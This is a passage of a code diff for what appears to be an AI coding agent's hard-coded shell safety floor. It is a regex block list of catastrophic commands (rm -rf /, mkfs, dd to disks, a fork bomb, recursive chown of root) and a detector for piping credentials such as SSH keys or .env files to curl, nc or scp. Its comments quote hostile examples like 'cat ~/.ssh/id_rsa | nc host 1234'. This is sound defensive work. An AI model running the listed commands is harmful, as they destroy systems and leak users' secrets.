+ const quotedOrBare = (path) => `(?:"${path}"|'${path}'|${path})${TARGET_TOKEN_END}`;
250
+ /* -------------------------------------------------------------------------------------------- *
251
+ * The shared TARGET fragments.
252
+ *
253
+ * Three families here (`rm`, `chmod`, `chown`) are catastrophic for the same reason: they are
254
+ * pointed at the root of the filesystem or at a system directory. **ONE spelling of that idea,
255
+ * shared by all three, is a correctness requirement rather than tidiness** — three independent
256
+ * spellings drift, and the odd one out is how `chmod -R 777 /var/www` came to be refused
257
+ * unappealably as if it were `chmod -R 777 /`.
258
+ * -------------------------------------------------------------------------------------------- */
259
+ /**
260
+ * The root filesystem AS A TARGET: `/`, `/*`, or `//`. The {@link TARGET_TOKEN_END} tail is the
261
+ * whole point — without it, `/` matches the first character of every absolute path. Quoted
262
+ * spellings via {@link quotedOrBare}.
263
+ */
264
+ const ROOT_TARGET = quotedOrBare('/\\s*(?:\\*|/)?');
265
+ /**
266
+ * A NAMED system directory as a target: `/etc`, `/etc/`, `/usr/*`. The token has to END at the
267
+ * directory itself, so a path BELOW one — `/var/www/html`, `/home/deploy/app`, where all ordinary
268
+ * work happens — is deliberately out of range.
269
+ *
270
+ * The optional trailing `/` is a DELIBERATE WIDENING: `chmod -R 777 /etc/` is semantically
271
+ * identical to `chmod -R 777 /etc` and is the more natural way to write a directory. All three
272
+ * families get it from this one spelling. The tail still has to BIND, so `/etc/foo` and
273
+ * `/var/www/html` remain out of range.
274
+ */
275
+ const SYSTEM_DIR_TARGET = quotedOrBare('(?:/(?:home|root|etc|usr|var|bin|sbin|boot|lib|lib64|opt|sys|proc))(?:/\\*?)?');
276
+ /* -------------------------------------------------------------------------------------------- *
277
+ * The pieces of the recursive-`chown`-of-root patterns.
278
+ *
279
+ * `chown` differs from `rm` in shape: an operand (the owner spec) sits between the options and the
280
+ * target, and it may appear on either side of them (`chown -R nobody:nobody /`,
281
+ * `chown nobody:nobody -R /`). These three fragments let the target arms below skip exactly the
282
+ * option and owner tokens — and nothing else — on the way to the target.
283
+ * -------------------------------------------------------------------------------------------- */
284
+ /**
285
+ * Whitespace that is NOT a command separator. The gaps between a command's own tokens are
286
+ * horizontal; a line break ENDS the command, so the skip loops below must not step over one. With
287
+ * a plain `\s+` here, `chown -R app:app conf` followed by a newline and `cat /` reads as one long
288
+ * `chown` invocation targeting `/` — an unrecoverable false positive assembled out of two innocent
289
+ * lines.
290
+ */
291
+ const H_SPACE = '[^\\S\\n\\r]+';
292
+ /**
293
+ * What may NOT appear inside a single token of one command: whitespace, a command separator, a
294
+ * backtick (which OPENS a command — {@link CMD_POS} lists it as a command position), and `#`
295
+ * (which ENDS one — everything after a comment is inert, so `chown -R app:app dist # perms under /`
296
+ * targets `dist`, not `/`).
297
+ *
298
+ * **Every token matcher below is built from this rather than a bare `[^\s]`, because `[^\s]`
299
+ * swallows a GLUED separator.** `chown -R app:app dist -v; ls /` otherwise reads `-v;` as one
300
+ * skippable option token, walks straight past the `;`, and matches `ls /`'s argument as the chown
301
+ * target — a refusal assembled out of two unrelated commands, the same defect as the newline case
302
+ * above but INSIDE a token rather than between tokens. {@link H_SPACE} closes it between tokens;
303
+ * this closes it within one. Both exclusions can only make the skip stop EARLIER, so they are
304
+ * strictly subtractive: they remove refusals and can introduce none.
305
+ */
306
+ const H_TOKEN_EXCLUSIONS = `\\s\`#${COMMAND_SEPARATOR_CLASS}`;
307
+ /** A character of a token belonging to this command. */
308
+ const H_TOKEN_CHAR = `[^${H_TOKEN_EXCLUSIONS}]`;
309
+ /** The same, minus `/` — for an operand that must not be a path. */
310
+ const H_OPERAND_CHAR = `[^${H_TOKEN_EXCLUSIONS}/]`;
311
+ /**
312
+ * A recursive flag: the long form, or any short-option cluster containing `r` (`-R`, `-hR`, `-Rv`).
313
+ * Patterns match the LOWERCASED normalized command, so `-R` arrives here as `-r`. The `(?!-)` keeps
314
+ * the cluster arm off long options, so `--reference=…` is not read as recursion.
315
+ */
316
+ const RECURSIVE_FLAG = `(?:--recursive|-(?!-)${H_TOKEN_CHAR}*r${H_TOKEN_CHAR}*)`;
317
+ /**
318
+ * A token the target arms may skip: an option, or the owner spec (`nobody:nobody`, `65534:65534`,
319
+ * `$user:$user`, `:group`). Neither arm can run past the end of the command
320
+ * ({@link H_TOKEN_EXCLUSIONS}), and the owner arm additionally excludes `/` so the skip cannot
321
+ * swallow a path operand. The option arm has to keep `/` — `--reference=/etc/passwd`.
322
+ */
323
+ const CHOWN_SKIPPABLE_ARG = `(?:-${H_TOKEN_CHAR}+|${H_OPERAND_CHAR}+)`;
324
+ /**
325
+ * `chown`, its options and its owner spec — everything up to the target. The owner is optional
326
+ * because `--reference=FILE` replaces it.
327
+ *
328
+ * **Anchored at {@link CMD_POS}, and it must stay anchored.** Unanchored, `\bchown` matches the
329
+ * word anywhere and {@link RECURSIVE_FLAG} accepts any `r`-bearing flag token, so `grep chown -r
330
+ * /etc` — pattern, flag, path, the standard invocation for asking why permissions under `/etc` keep
331
+ * changing — is refused under every rung including `bypass`, with no way for the user to proceed.
332
+ * The miss this buys is `sh -c "chown -R nobody:nobody /"`, which `classifyCommand` still resolves
333
+ * to `null`, so the ambiguity preflight escalates it at both rated rungs. Declining to vouch for
334
+ * the floor's completeness does not license refusing ordinary read-only work.
335
+ */
336
+ const CHOWN_HEAD = CMD_POS +
337
+ 'chown' +
338
+ H_SPACE +
339
+ `(?:${CHOWN_SKIPPABLE_ARG}${H_SPACE})*` +
340
+ RECURSIVE_FLAG +
341
+ H_SPACE +
342
+ `(?:${CHOWN_SKIPPABLE_ARG}${H_SPACE})*`;
343
+ /**
344
+ * Hardline patterns: [regex, human description]. Matched case-insensitively against the normalized
345
+ * command.
346
+ *
347
+ * **Every destructive-verb pattern is anchored at {@link CMD_POS}, and must stay anchored.** A word
348
+ * boundary (`\brm`) — or no anchor at all — matches the verb ANYWHERE, including inside prose and
349
+ * inside another command's arguments. Measured over 30 legitimate commands, the unanchored floor
350
+ * refused 10 of them: `echo never run rm -rf /`, `grep -c mkfs docs/*.md`,
351
+ * `rg -n "dd of=/dev/sd" scripts/`, `grep -rn "kill -1" packages/` and more. **The floor refused
352
+ * commands that merely talk about the floor**, unappealably, at every rung including `bypass`.
353
+ *
354
+ * {@link CMD_POS} consumes the wrapper programs and admits every separator position, so
355
+ * `sudo rm -rf /`, `ls -la; rm -rf /` and `ls\nrm -rf /` all keep refusing.
356
+ *
357
+ * **What anchoring gives up** is the interpreter-wrapper forms — `sh -c "rm -rf /"`,
358
+ * `bash -c "mkfs.ext4 /dev/sda1"`. `classifyCommand` resolves those to the prefixes `sh` and
359
+ * `bash`, so no deterministic layer sees them; what covers them is the RATER, which rates them
360
+ * `catastrophic`, so both rated rungs escalate. Only `bypass` is unguarded, and there the user has
361
+ * asked for no gate. A false positive in this layer has no recovery at any rung; a miss still has
362
+ * the layers above it. The floor stays narrow and accepts the misses.
363
+ *
364
+ * Two patterns are deliberately NOT anchored, because neither is a command-position construct: the
365
+ * `>`-redirect-to-device arm (a redirection operator appears mid-command by definition) and the
366
+ * fork-bomb literal (the string *is* the fork bomb).
367
+ */
368
+ export const HARDLINE_PATTERNS = [
369
+ // rm -rf targeting the root filesystem (`/`, `/*`). Built with `new RegExp` so both the tail and
370
+ // the target come from the shared fragments rather than a literal spelling of their own.
371
+ [
372
+ new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*' + ROOT_TARGET),
373
+ 'recursive delete of root filesystem',
374
+ ],
375
+ // rm -rf targeting protected system directories (with optional /* suffix).
376
+ [
377
+ new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*' + SYSTEM_DIR_TARGET),
378
+ 'recursive delete of system directory',
379
+ ],
380
+ // rm -rf targeting the home directory (~ or $HOME).
381
+ // Note: patterns match the LOWERCASED normalized command, so $HOME → $home.
382
+ [
383
+ new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*(?:~|\\$home)(?:/\\*)?' + TARGET_TOKEN_END),
384
+ 'recursive delete of home directory',
385
+ ],
386
+ // Filesystem format. Anchored, `mkfs --help` is still refused, and that is accepted: a usage
387
+ // query is not work anyone loses, and requiring a device operand would trade a trivial false
388
+ // positive for a real miss.
389
+ [new RegExp(CMD_POS + 'mkfs(?:\\.[a-z0-9]+)?\\b'), 'format filesystem (mkfs)'],
390
+ // dd writing to a raw block device. Anchored: `rg -n "dd of=/dev/sd" scripts/` is a source search.
391
+ [
392
+ new RegExp(CMD_POS + 'dd\\b[^\\n]*\\bof=/dev/(?:sd|nvme|hd|mmcblk|vd|xvd)[a-z0-9]*'),
393
+ 'dd to raw block device',
394
+ ],
395
+ // Shell redirection to a raw block device (`> /dev/sda`).
396
+ [/>\s*\/dev\/(?:sd|nvme|hd|mmcblk|vd|xvd)[a-z0-9]*\b/, 'redirect to raw block device'],
397
+ // Classic fork bomb `:(){ :|:& };:`.
398
+ [/:\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:/, 'fork bomb'],
399
+ // Recursive chmod of root, and the same on a named system directory.
400
+ //
401
+ // The mode is any 3- or 4-digit octal rather than the literal `777`, because EVERY recursive
402
+ // chmod of `/` is catastrophic and not only the world-writable one: `755` on `/usr/bin/sudo`
403
+ // strips its setuid bit just as `000` does, and the box can no longer repair itself. The
404
+ // description therefore names no mode.
405
+ //
406
+ // The shared cluster-tolerant `RECURSIVE_FLAG` is required here: a standalone `(?:-r|--recursive)`
407
+ // does not match `chmod -Rv 777 /`.
408
+ //
409
+ // The target arms are what keep `chmod -R 777 /var/www` (corpus `de-04`, a deliberately
410
+ // UN-floored case) out of range — the target token must END at the system directory. A tailless
411
+ // `777\s+/` would fire on ANY absolute path.
412
+ [
413
+ new RegExp(CMD_POS +
414
+ 'chmod\\s+(?:-[^\\s]*\\s+)*' +
415
+ RECURSIVE_FLAG +
416
+ '\\s+(?:-[^\\s]*\\s+)*[0-7]{3,4}\\s+' +
417
+ ROOT_TARGET),
418
+ 'recursive chmod of root filesystem',
419
+ ],
420
+ [
421
+ new RegExp(CMD_POS +
422
+ 'chmod\\s+(?:-[^\\s]*\\s+)*' +
423
+ RECURSIVE_FLAG +
424
+ '\\s+(?:-[^\\s]*\\s+)*[0-7]{3,4}\\s+' +
425
+ SYSTEM_DIR_TARGET),
426
+ 'recursive chmod of system directory',
427
+ ],
428
+ // Recursive chown of the root filesystem (`chown -R nobody:nobody /`, `… /*`). Unrecoverable
429
+ // without rescue media: it strips setuid from `sudo` and re-owns every service account, so the
430
+ // box can no longer repair itself. `chmod 777` leaves you root; this takes root away. Same two
431
+ // arms off the same shared target fragments, so `chown -R app:app /var/www/html` does not match
432
+ // while `… /var` does.
433
+ [new RegExp(CHOWN_HEAD + ROOT_TARGET), 'recursive chown of root filesystem'],
434
+ [new RegExp(CHOWN_HEAD + SYSTEM_DIR_TARGET), 'recursive chown of system directory'],
435
+ // Kill every process on the system (`kill -9 -1`, `kill -- -1`).
436
+ //
437
+ // The option loop is `+` and NOT `*`, because `-1` means "every process" only in the PID OPERAND
438
+ // position — something has to precede it. With `*` the pattern also matches `kill -1`'s own
439
+ // SIGNAL position, so `kill -1 12345`, an ordinary SIGHUP to one process, is refused
440
+ // unappealably. Requiring a preceding token keeps `kill -9 -1`, `kill -HUP -1` and `kill -- -1`,
441
+ // and drops only `kill -1` with no PID, which is a usage error rather than a kill-all.
442
+ [new RegExp(CMD_POS + 'kill\\s+(?:-[^\\s]+\\s+)+-1\\b'), 'kill all processes'],
443
+ // System shutdown / reboot — anchored to a command position so `echo reboot`
444
+ // and `grep shutdown log` don't trip it.
445
+ [new RegExp(CMD_POS + '(?:shutdown|reboot|halt|poweroff)\\b'), 'system shutdown/reboot'],
446
+ [new RegExp(CMD_POS + 'init\\s+[06]\\b'), 'init 0/6 (shutdown/reboot)'],
447
+ [
448
+ new RegExp(CMD_POS + 'systemctl\\s+(?:poweroff|reboot|halt|kexec)\\b'),
449
+ 'systemctl poweroff/reboot',
450
+ ],
451
+ [new RegExp(CMD_POS + 'telinit\\s+[06]\\b'), 'telinit 0/6 (shutdown/reboot)'],
452
+ ];
453
+ /* -------------------------------------------------------------------------------------------- *
454
+ * §8 — the DETERMINISTIC SUBSET OF THE `attack` OUTCOME.
455
+ *
456
+ * **Two words that are not the same word.** `attack` is the OUTCOME — the one the gate halts on.
457
+ * *Exfiltration* is a MECHANISM: secrets leaving the machine, §4.1.1 part 1. This section
458
+ * implements the part of the outcome that is decidable without a model, and that part happens to be
459
+ * exactly the mechanism — which is why {@link isDeterministicExfiltration} keeps its name while the
460
+ * prose around it names the outcome. `attack` is wider than exfiltration (privesc, persistence,
461
+ * deception and obfuscation are all in it, and none of them are here), so naming this function
462
+ * `isDeterministicAttack` would claim a completeness it does not have.
463
+ *
464
+ * §3 requires that the `attack` outcome "MUST NOT depend on the rater alone — its deterministic
465
+ * subset belongs in the hardline floor", because the allow-list is consulted BEFORE the rater and
466
+ * would otherwise wave an allow-listed credential upload straight through. What this section
467
+ * therefore guarantees without a model is that such a command is **refused** — at every rung, above
468
+ * the allow list, and again before spawn. §4.2's run-ending halt stays with the rater's `attack`
469
+ * verdict: a floor match is a model-free assertion, and the model-free consequence is a refusal.
470
+ *
471
+ * This is deliberately a SUBSET, not an attempt at the whole outcome. The floor is unconfigurable
472
+ * and fires under `bypass`, so a false positive here is unrecoverable — the user cannot change rung
473
+ * to escape it. Four rules shape it:
474
+ *
475
+ * 1. **A credential SOURCE and a network SINK must appear in the SAME PIPELINE.** Sequencing
476
+ * operators (`;`, `&&`, `||`, `&`, newline) start a new pipeline, because they carry no data
477
+ * between the halves. So `ssh-keygen -f ~/.ssh/id_ed25519 && curl https://api.github.com/…` is
478
+ * an ordinary generate-then-upload-the-PUBLIC-key flow and must not be refused, while
479
+ * `cat ~/.ssh/id_rsa | nc host 1234` must be.
480
+ *
481
+ * **The conjunction is what makes the sets safe to be broad.** `scp` and `rsync` are ordinary
482
+ * publishing tools, but `scp ./report.pdf deploy@myhost:/srv/` carries no credential source and
483
+ * so cannot fire. That is why they belong in the sink set: §4.1.1 part 1 makes secrets
484
+ * exfiltration **by any route**, destination irrelevant, so a sink set omitting the file-copy
485
+ * tools would not implement part 1 at all.
486
+ *
487
+ * 1b. **`rsync` is a sink only where it names a REMOTE end** ({@link RSYNC_REMOTE_SINK_RE}). It is
488
+ * the one name in the set with an everyday LOCAL mode: `rsync -av ~/.ssh/ ~/backup/ssh/` copies
489
+ * a directory within one machine and transmits nothing, which is not a route off it — so this
490
+ * is not a narrowing of part 1's "destination irrelevant" but a refusal to call a local file
491
+ * copy a transmission at all. The same backup written as `cp -r` or `tar` was never in range,
492
+ * so without this the floor refused the tool rather than the effect.
493
+ *
494
+ * 2. **A `.pub` file is never a credential source.** Registering a public key is among the most
495
+ * ordinary things a developer does, and `id_rsa.pub` satisfies `\bid_rsa\b` — the word boundary
496
+ * is the dot — so the exclusion has to be explicit.
497
+ *
498
+ * 3. **A whole credential DIRECTORY is a stronger signal than one file, not a weaker one.**
499
+ * `aws s3 sync ~/.ssh s3://bucket/` archives the lot. The directory forms match only when the
500
+ * path token ENDS there, so `~/.ssh/id_rsa.pub` is not caught by the `~/.ssh` pattern and rule
501
+ * 2 is not undone.
502
+ *
503
+ * 4. **`.env` is a source, except where it is the DOWNLOAD TARGET.** The conjunction already keeps
504
+ * `docker run --env-file .env …` (no sink) out of range. The one ordinary shape with both a
505
+ * dotenv file and a sink in one pipeline is fetching one — `curl -o .env https://…` — where the
506
+ * data flows IN, and {@link DOTENV_AS_OUTPUT_TARGET} excludes exactly that. It can only
507
+ * SUPPRESS a match, so its failure mode is a missed detection, never a new unrecoverable
508
+ * refusal.
509
+ *
510
+ * `git` and `gh` are deliberately NOT sinks: whether a remote is one the project configured cannot
511
+ * be judged statically, which is §4.1.1 part 2 — the rater's job, not the floor's.
512
+ *
513
+ * §8.1 applies to everything here: the floor exists, and no user-facing copy may lean on it.
514
+ * -------------------------------------------------------------------------------------------- */
515
+ /**
516
+ * Sequencing separators — where one pipeline ENDS and an unrelated one begins. Deliberately NOT
517
+ * `COMMAND_SEPARATOR_CLASS`: that includes `|`, which is precisely the operator that DOES carry
518
+ * data from a credential source into a network sink and so must keep the two in one pipeline.
519
+ */
520
+ const PIPELINE_SPLIT_RE = /[;&\n\r]/;
521
+ /**
522
+ * A command that transmits data off the machine, anchored to a command position (so `echo curl`
523
+ * and `grep nc file` do not trip it). The file-copy tools are here because §4.1.1 part 1 makes
524
+ * secrets exfiltration **by any route** regardless of destination; the same-pipeline conjunction
525
+ * is what keeps them from firing on ordinary publishing (`scp ./report.pdf deploy@myhost:/srv/`
526
+ * carries no credential source). `git`/`gh` stay out — a remote's identity is part 2, which cannot
527
+ * be judged statically.
528
+ *
529
+ * **`rsync` is deliberately absent from this list and carries its own arm** below, because it is
530
+ * the only name here with an ordinary LOCAL mode; every name that remains transmits by definition.
531
+ */
532
+ const NETWORK_SINK_RE = new RegExp(CMD_POS +
533
+ '(?:curl|wget|nc|ncat|netcat|telnet|socat|tftp|scp|sftp|aws\\s+s3|gsutil|gcloud\\s+storage)\\b');
534
+ /**
535
+ * A REMOTE target token, in rsync's own reading of one: a `:` appearing before any `/`. That single
536
+ * rule covers every remote spelling rsync accepts — `user@host:path`, the empty-path `user@host:`,
537
+ * a bare `host:/srv/`, the daemon `host::module/`, and `rsync://host/module/`, whose scheme colon
538
+ * also precedes its first slash — and it is the same rule rsync applies, so the floor and the tool
539
+ * disagree about no command.
540
+ *
541
+ * **The host run is a `*` and not a `+`, and the form that needs it is the single-leading-colon
542
+ * `:module/`** — NOT the daemon `::module/`, which matches either way because `:` is itself a member
543
+ * of the run's class, so under `+` the first colon feeds the run and the second satisfies the
544
+ * literal. rsync reads both as remote — measured, it hands the remote shell an EMPTY hostname for
545
+ * `:module/` rather than a hostname of `:` — and neither is a local path, so tightening the run
546
+ * would drop a remote spelling and buy nothing back. `:module/` is
547
+ * the case that pins this; the daemon form cannot, and a warning nothing can falsify is worth less
548
+ * than no warning.
549
+ *
550
+ * **A token whose first `/` comes before any `:` is a local path**, which is what leaves
551
+ * `~/backup/`, `/mnt/backup/` and `./weird:name/` alone. The bare `weird:name/` spelling is remote
552
+ * on both readings: rsync would try to reach a host called `weird`, and the `./` that makes it a
553
+ * directory is rsync's own documented answer. A Windows drive letter (`c:/backup/`) resolves the
554
+ * same way for the same reason.
555
+ *
556
+ * **`#` is NOT excluded here.** A `#` opens a comment only at the START of a word, so inside a token
557
+ * it is an ordinary character: `back#up:tmp` is a host called `back#up`, measured against rsync
558
+ * itself. Excluding it would turn a genuinely remote spelling into a miss.
559
+ *
560
+ * **Options are excluded, and the exclusion is PARTIAL — read this before trusting it.** `(?!-)`
561
+ * removes a token that itself begins with `-`, so the attached spelling of a colon-carrying flag
562
+ * (`--chown=deploy:deploy`, `--usermap=me:them`, `--exclude=tmp:cache`) is covered. **The
563
+ * space-separated spelling is NOT**: rsync accepts `--chown deploy:deploy`, whose value is its own
564
+ * token and is indistinguishable from an operand without knowing which options take values. So a
565
+ * purely local backup written that way is still refused.
566
+ *
567
+ * **That residual is accepted, not overlooked.** Closing it needs a per-flag table of which options
568
+ * take a separate value — the growth {@link CMD_POS} refuses, and where a wrong entry is a MISS
569
+ * rather than mere noise — while the attached spelling is the common one and the whole class floored
570
+ * before this arm existed, so the arm narrows it rather than widening it. It is pinned in
571
+ * `shellHardline.spec.ts` as knowingly over-refused, so it is a decision on the record rather than
572
+ * something a later reader discovers.
573
+ */
574
+ const RSYNC_REMOTE_TARGET = '(?!-)[^\\s/|]*:';
575
+ /**
576
+ * `rsync` transmitting off the machine — the command at a command position, and a remote target
577
+ * somewhere in its own stage of the pipeline.
578
+ *
579
+ * **The `|` exclusion bounds the search to rsync's own stage of the pipeline**, so a later stage's
580
+ * colon (`rsync -av ~/.ssh/ ~/backup/ | grep 'total size:'`) is not read as rsync's destination.
581
+ *
582
+ * **`#` is deliberately NOT excluded here, and a trailing comment therefore over-refuses**
583
+ * (`rsync -av ~/.ssh/ ~/backup/ # note: keep two copies` is refused, though it copies to
584
+ * `~/backup/`). That is accepted, and the reason is worth stating because the opposite looks
585
+ * obviously right: this run walks ACROSS tokens, so excluding `#` from it stops the walk at the
586
+ * FIRST `#` anywhere in the command — and `#` opens a comment only at the start of a WORD, so
587
+ * `--exclude=#recycle` and `~/x#1/.ssh/` are ordinary arguments that would then silence the whole
588
+ * arm. That is a one-token bypass of an exfiltration floor, which is a far worse error than the
589
+ * refusal it would remove. The three shapes are pinned as guards in `shellHardline.spec.ts`, and
590
+ * the over-refusal is pinned beside them as knowingly accepted.
591
+ *
592
+ * **The asymmetry with {@link RSYNC_REMOTE_TARGET}, which does not exclude `#` either, is not an
593
+ * inconsistency:** there the reason is that a `#` inside a token is an ordinary character, so
594
+ * `back#up:tmp` is a real host. Both halves decline the exclusion; only the cost of taking it
595
+ * differs.
596
+ *
597
+ * **Do not reason about a change here as "strictly subtractive".** That argument belongs to the
598
+ * destructive-verb matchers above, where removing a refusal is the safe direction. In THIS section
599
+ * removing a refusal is the harm — the whole arm exists to refuse — so a narrowing needs the same
600
+ * scrutiny a widening gets elsewhere, and the polarity flips at the section boundary.
601
+ *
602
+ * **It asks whether a remote end is NAMED, not which side of the copy it is on**, so a pull from a
603
+ * remote source into a credential directory also matches. Naming the side means resolving operand
604
+ * positions past a per-flag table of which options take values — the growth {@link CMD_POS}
605
+ * refuses — and the direction this errs in is the safe one: it can only keep a refusal that the
606
+ * unconditional arm already made.
607
+ *
608
+ * **A target the shell builds rather than spells is a MISS** — `rsync -a ~/.ssh/ $DEST` is clear,
609
+ * because an expansion hides the colon from a lexical test. That is this module's charter rather
610
+ * than an oversight (it does not parse the shell and never will), and the miss is not naked: the
611
+ * command is rated at both rated rungs. It is pinned so it stays a decision.
612
+ */
613
+ const RSYNC_REMOTE_SINK_RE = new RegExp(CMD_POS + 'rsync\\b[^|]*\\s' + RSYNC_REMOTE_TARGET);
614
+ /**
615
+ * A path token that ENDS here — at end of input, at whitespace, or after a single trailing slash.
616
+ * This is what keeps the directory forms below from swallowing the files inside them, so
617
+ * `~/.ssh/id_rsa.pub` is not caught by the `~/.ssh` pattern.
618
+ */
619
+ const TOKEN_END = '/?(?=$|\\s)';
620
+ /**
621
+ * NOT a public key. `id_rsa.pub` satisfies `\bid_rsa\b` (the boundary is the dot), and uploading a
622
+ * public key is ordinary work with no way out of an unconfigurable refusal, so every private-key
623
+ * pattern carries this lookahead over the rest of the path token.
624
+ */
625
+ const NOT_PUBLIC_KEY = '(?![^\\s]*\\.pub\\b)';
626
+ /** A dotenv file (`.env`, `.env.production`), not preceded by word characters (`--env-file`). */
627
+ const DOTENV_RE = /(?<![\w.\-])\.env(?:\.[^\s/]+)?(?=$|\s)/;
628
+ /**
629
+ * A dotenv file being WRITTEN by the pipeline rather than read out of it — `curl -o .env <url>`,
630
+ * `wget --output-document=.env <url>`, `curl <url> > .env`. The data flows IN, so the
631
+ * source-plus-sink conjunction is a false proxy here. Suppression only; see rule 4 above.
632
+ */
633
+ const DOTENV_AS_OUTPUT_TARGET = /(?:-o|--output|--output-document|>)[\s=]*[^\s]*\.env(?:\.[^\s/]+)?(?=$|\s)/;
634
+ /**
635
+ * Credential material whose presence in a transmitting pipeline has no legitimate reading:
636
+ * private keys, cloud/registry credential stores, keyring directories, dotenv files — plus a bare
637
+ * `env`/`printenv` whose whole output is being piped somewhere.
638
+ *
639
+ * The `env`/`printenv` arm requires the command to be the WHOLE pipeline stage (`env |`, or `env`
640
+ * at the end), so the shell's `env VAR=value <cmd>` wrapper form — e.g. `env FOO=bar curl …` — is
641
+ * not mistaken for dumping the environment.
642
+ */
643
+ const CREDENTIAL_SOURCE_PATTERNS = [
644
+ // Private keys, by path or by name — never the `.pub` half.
645
+ new RegExp('\\.ssh/id_' + NOT_PUBLIC_KEY),
646
+ new RegExp('\\bid_(?:rsa|dsa|ecdsa|ed25519)\\b' + NOT_PUBLIC_KEY),
647
+ // Whole credential DIRECTORIES (rule 3): the token has to end at the directory.
648
+ new RegExp('\\.ssh' + TOKEN_END),
649
+ new RegExp('\\.aws' + TOKEN_END),
650
+ new RegExp('\\.gnupg' + TOKEN_END),
651
+ new RegExp('\\.kube' + TOKEN_END),
652
+ new RegExp('\\.docker' + TOKEN_END),
653
+ new RegExp('\\.config/gcloud' + TOKEN_END),
654
+ // Individual credential stores.
655
+ /\.aws\/credentials\b/,
656
+ /\.netrc\b/,
657
+ /\.npmrc\b/,
658
+ /\.docker\/config\.json\b/,
659
+ /\.kube\/config\b/,
660
+ /\.gnupg\//,
661
+ /\.config\/gcloud\//,
662
+ // The whole environment, piped somewhere.
663
+ new RegExp(CMD_POS + '(?:printenv|env)\\s*(?=\\||$)'),
664
+ ];
665
+ /**
666
+ * **Every string a §8 decision is made of, in one record — exported ONLY for the snapshot gate**
667
+ * (`shellHardlinePatternSurface.spec.ts`), which freezes it as a literal in its own source. Nothing
668
+ * in production reads it, and nothing should: it is the module's pattern surface made addressable so
669
+ * that a narrowing cannot land silently. **Any new pattern constant joins it**, and the gate's
670
+ * key-set check fails if one does not.
671
+ *
672
+ * **Membership is decided by what the patterns are BUILT FROM, not by what this file declares** —
673
+ * which is why {@link COMMAND_SEPARATOR_CLASS}, imported from `core/shell/normalize`, is a member.
674
+ * Floor behaviour depends on it and it is edited in another module, so a change there is exactly the
675
+ * silent narrowing this exists to make loud.
676
+ *
677
+ * A value composed at module load carries its parts with it: {@link CMD_POS} expands
678
+ * {@link WRAPPER_ARMS}, and {@link ROOT_TARGET} expands `quotedOrBare`, so those parts are frozen
679
+ * whether or not they are also members. The parts are listed anyway, because a diff that names
680
+ * `H_TOKEN_EXCLUSIONS` is actionable where one that names only `CHOWN_HEAD` is a wall of regex.
681
+ *
682
+ * Regexes are recorded as `String(re)` rather than `re.source` **because the flags are part of the
683
+ * behaviour**: a `g` flag makes `.test()` stateful across calls, a change no source-only record
684
+ * would show.
685
+ */
686
+ export const HARDLINE_PATTERN_SURFACE = Object.freeze({
687
+ // Structural / shared.
688
+ COMMAND_SEPARATOR_CLASS,
689
+ WRAPPER_FLAGS,
690
+ WRAPPER_ARMS: Object.freeze([...WRAPPER_ARMS]),
691
+ CMD_POS,
692
+ TARGET_TOKEN_END,
693
+ H_SPACE,
694
+ H_TOKEN_EXCLUSIONS,
695
+ H_TOKEN_CHAR,
696
+ H_OPERAND_CHAR,
697
+ // The destructive-verb arms and the fragments they share.
698
+ ROOT_TARGET,
699
+ SYSTEM_DIR_TARGET,
700
+ RECURSIVE_FLAG,
701
+ CHOWN_SKIPPABLE_ARG,
702
+ CHOWN_HEAD,
703
+ // The pattern list itself, sources only: the human descriptions beside them are prose, and a
704
+ // reworded one is not a narrowing, so they stay out rather than train a reader to update the
705
+ // frozen literal without reading why the cell went red.
706
+ HARDLINE_PATTERNS: Object.freeze(HARDLINE_PATTERNS.map(([pattern]) => String(pattern))),
707
+ // The exfiltration arms.
708
+ PIPELINE_SPLIT_RE: String(PIPELINE_SPLIT_RE),
709
+ NETWORK_SINK_RE: String(NETWORK_SINK_RE),
710
+ RSYNC_REMOTE_TARGET,
711
+ RSYNC_REMOTE_SINK_RE: String(RSYNC_REMOTE_SINK_RE),
712
+ TOKEN_END,
713
+ NOT_PUBLIC_KEY,
714
+ DOTENV_RE: String(DOTENV_RE),
715
+ DOTENV_AS_OUTPUT_TARGET: String(DOTENV_AS_OUTPUT_TARGET),
716
+ CREDENTIAL_SOURCE_PATTERNS: Object.freeze(CREDENTIAL_SOURCE_PATTERNS.map((pattern) => String(pattern))),
717
+ });
718
+ /**
719
+ * Whether one pipeline both reads credential material and transmits data off the machine.
720
+ * Exported for tests, which pin BOTH directions: the credential-upload shapes must match, and
721
+ * `git push` / `git push --force` / `gh pr create` / `npm publish` / `docker push` / `git fetch` /
722
+ * `scp report.pdf host:` must not.
723
+ *
724
+ * @param normalizedLowerCommand the command after {@link normalizeCommand} + `toLowerCase()`,
725
+ * i.e. exactly what the pattern loop in {@link checkHardline} matches against.
726
+ */
727
+ export function isDeterministicExfiltration(normalizedLowerCommand) {
728
+ for (const pipeline of normalizedLowerCommand.split(PIPELINE_SPLIT_RE)) {
729
+ if (!NETWORK_SINK_RE.test(pipeline) && !RSYNC_REMOTE_SINK_RE.test(pipeline))
730
+ continue;
731
+ if (CREDENTIAL_SOURCE_PATTERNS.some((pattern) => pattern.test(pipeline)))
732
+ return true;
733
+ // A dotenv file is a source unless the pipeline is FETCHING one (rule 4).
734
+ if (DOTENV_RE.test(pipeline) && !DOTENV_AS_OUTPUT_TARGET.test(pipeline))
735
+ return true;
736
+ }
737
+ return false;
738
+ }
739
+ /**
740
+ * The {@link HardlineMatch.pattern} token for the arm that is not a pattern: §3/§8's deterministic
741
+ * exfiltration test, which decides per pipeline rather than by one regex.
742
+ */
743
+ export const EXFILTRATION_ARM = 'deterministic-exfiltration';
744
+ /**
745
+ * Check a raw command against the hardline blocklist. Normalizes first so
746
+ * obfuscated variants are caught. Returns the match (with a description) when the
747
+ * command is catastrophic, or `null` when it is allowed to proceed.
748
+ */
749
+ export function checkHardline(command) {
750
+ const normalized = normalizeCommand(command).toLowerCase();
751
+ for (const [pattern, description] of HARDLINE_PATTERNS) {
752
+ if (pattern.test(normalized)) {
753
+ return { description, pattern: pattern.source };
754
+ }
755
+ }
756
+ // §3/§8 — the deterministic subset of the `attack` outcome, so refusing a credential upload does
757
+ // not depend on a model being right, and cannot be ridden through on an allow-list entry
758
+ // (consulted before the rater).
759
+ if (isDeterministicExfiltration(normalized)) {
760
+ return { description: 'sending credentials off the machine', pattern: EXFILTRATION_ARM };
761
